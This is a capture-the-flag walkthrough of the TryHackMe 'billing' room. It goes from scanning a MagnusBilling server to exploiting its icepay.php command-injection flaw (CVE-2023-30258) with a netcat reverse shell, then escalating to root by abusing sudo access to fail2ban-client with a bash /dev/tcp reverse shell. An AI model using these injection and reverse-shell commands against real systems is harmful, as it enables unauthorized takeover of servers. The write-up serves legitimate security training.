TryHackMe CTF: billing (Easy)

URL: https://tryhackme.com/room/billing Easy
PHASE 1: Reconnaissance
Description of the room:
Some mistakes can be costly. Note: Bruteforcing is out of scope for this room.
PHASE 2: Scanning & Enumeration
Running: nmap
Ran the following:
nmap -sC -sV x.x.x.x
Interesting ports found to be open:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 79:ba:5d:23:35:b2:f0:25:d7:53:5e:c5:b9:af:c0:cc (RSA)
| 256 4e:c3:34:af:00:b7:35:bc:9f:f5:b0:d2:aa:35:ae:34 (ECDSA)
|_ 256 26:aa:17:e0:c8:2a:c9:d9:98:17:e4:8f:87:73:78:4d (ED25519)
80/tcp open http Apache httpd 2.4.56 ((Debian))
|_http-server-header: Apache/2.4.56 (Debian)
| http-title: MagnusBilling
|_Requested resource was http://10.10.44.189/mbilling/
| http-robots.txt: 1 disallowed entry
|_/mbilling/
3306/tcp open mysql MariaDB 10.3.23 or earlier (unauthorized)
Also see: nmap.log
Running: gobuster
Ran the following:
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u http://x.x.x.x
And it didn’t find ANY subfolders.
Also see: gobuster.log
Running: nikto
Ran the following:
nikto -h x.x.x.x -p 80
Not much of anything interesting info found on :80
:
+ Server: Apache/2.4.56 (Debian)
+ /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
+ /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ Root page / redirects to: ./mbilling
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /robots.txt: contains 1 entry which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt
+ 8075 requests: 0 error(s) and 3 item(s) reported on remote host
Also see: nikto.log
MagnusBilling
When you navigate to the website, you see MagnusBilling as the product name. So, I did run:
searchsploit magnus
And that did have a hit.
----------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------- ---------------------------------
MagnusSolution magnusbilling 7.3.0 - Command Injecti | multiple/webapps/52170.txt
----------------------------------------------------- ---------------------------------
Shellcodes: No Results
There is CVE-2023-30258. In short, the icepay.php
page accepts a democ
query string argument where it runs arbitrary commands (RCE). So, we should be able to get a reverse shell that way, in theory?
CVE-2023-30258 is a critical command-injection flaw in MagnusSolution’s MagnusBilling 6.x and 7.x products that allows unauthenticated remote attackers to execute arbitrary operating-system commands via specially crafted HTTP requests.
The vulnerability stems from improper sanitization of a user-supplied parameter in the lib/icepay/icepay.php
component, where an unvalidated exec()
call incorporates attacker-controlled input, effectively granting full command-execution capabilities under the web-server’s privileges (commonly www-data
or asterisk
).
With a CVSS 3.1 score of 9.8 (Critical) and an EPSS exploitability rating above 93%, successful exploitation can lead to complete system compromise including unauthorized data access, service disruption, and privilege escalation within the billing environment
PHASE 3: Gaining Access
I set up a NetCat listener on port :8000
to catch the reverse shell:
nv -lvnp 8000
From my workstation still, with Burp, cURL, or even in the browser, craft a URL like this:
http://x.x.x.x/mbilling/lib/icepay/icepay.php?democ=testfile; nc <MY_WS_IP> 8000 -e /bin/sh &
When I initially tried this it would connect and immediately disconnect. So, I appended the &
to kick off the NetCat reverse shell process in the background. And voila, we have a connnection! Terrible quality - we don’t see a prompt, but type pwd
, id
, or whoami
we can see we have a shell as the unprivileged asterisk
account.
Unprivileged Access
We have a rudimentary connection, so let’s try to upgrade it:
python3 -c "import pty; pty.spawn('/bin/bash')"
Do CTRL+Z, then type:
stty raw -echo ; fg
That will give you a more stable prompt. It’s not as good as an SSH session, but it’s better than raw input/output. I found that I couldn’t use clear
because the TERM
environment variable is still set to dumb
. So, we can also upgrade the terminal capabilities with:
export TERM=vt100
We know from the /etc/passwd
file that the asterisk
account doesn’t have a home directory:
asterisk:x:1001:1001:Asterisk PBX:/var/lib/asterisk:/sbin/nologin
However still, one of the first places I’ll go and look is in /home/
to see if we can get other usernames and see if there are any files that we can see. And sure enough, we can see a /home/magnus/
folder, and in there is the user.txt
that we need to partially solve the room!
asterisk@Billing:/home/magnus$ ls -l
total 36
drwx------ 2 magnus magnus 4096 Mar 27 2024 Desktop
drwx------ 2 magnus magnus 4096 Mar 27 2024 Documents
drwx------ 2 magnus magnus 4096 Mar 27 2024 Downloads
drwx------ 2 magnus magnus 4096 Mar 27 2024 Music
drwx------ 2 magnus magnus 4096 Mar 27 2024 Pictures
drwx------ 2 magnus magnus 4096 Mar 27 2024 Public
drwx------ 2 magnus magnus 4096 Mar 27 2024 Templates
drwx------ 2 magnus magnus 4096 Mar 27 2024 Videos
-rw-r--r-- 1 magnus magnus 38 Mar 27 2024 user.txt
Privilege Escalation
One of the first places to look is to run sudo -l
to list any sudo
privileges that we have:
Matching Defaults entries for asterisk on Billing:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
Runas and Command-specific defaults for asterisk:
Defaults!/usr/bin/fail2ban-client !requiretty
User asterisk may run the following commands on Billing:
(ALL) NOPASSWD: /usr/bin/fail2ban-client
OK, so it looks like if we can somehow exploit fail2ban-client
, then we should be able to get PE.
Fail2ban is an Intrusion Detection System (IDS) and Intrusion Prevention System (IPS) that works by monitoring the logs of various services. When it detects so many “unauthorized” attempts within a certain timeframe, it triggers the banaction
, which is typically banning the offending IP address for some time.
Before we move on, let’s set up NetCat on our workstation to listen on port :9000
for the incoming reverse shell:
nc -lvnp 9000
Create a Custom Jail
Since we have sudo
access to fail2ban
, we’re going to just create an empty “jail”, and what that jail does when it starts up is - connect to my workstation with a reverse shell. Since fail2ban
is running as the root
user, that means that will be a shell running as the root
user.
# Create a new jail
sudo fail2ban-client add myjail tcp \
filter sshd \
logpath /var/log/auth.log \
maxretry 3 \
findtime 600 \
bantime 3600
# Set a default action (required, before we can override it)
sudo fail2ban-client set myjail addaction iptables-multiport
# Then, we can override the "actionstart" to kick off our reverse shelll
sudo fail2ban-client set myjail \
action iptables-multiport \
actionstart "/bin/bash -c 'bash -i >& /dev/tcp/<MY_WS_IP>/9000 0>&1'"
Start the Jail. Pop a shell!
Once defined, we just need to start the jail:
# Start the jail to trigger the reverse shell
sudo fail2ban-client start myjail
Immediately once the jail starts, it will execute the reverse shell and connect back to the Netcat listener on my workstation.
So all we did here was create a temporary, in-memory fail2ban “jail”. We overrode it so that when it starts, it will run that bash
command that connects to our workstation, and runs the bash
command, redirecting STDOUT
and STDID
to the remote host (our workstation). Since fail2ban
runs as root
, that bash prompt will be running as root
too.
Now that we have a root
prompt, we can navigate to /root/root.txt
to get the flag to finish this room.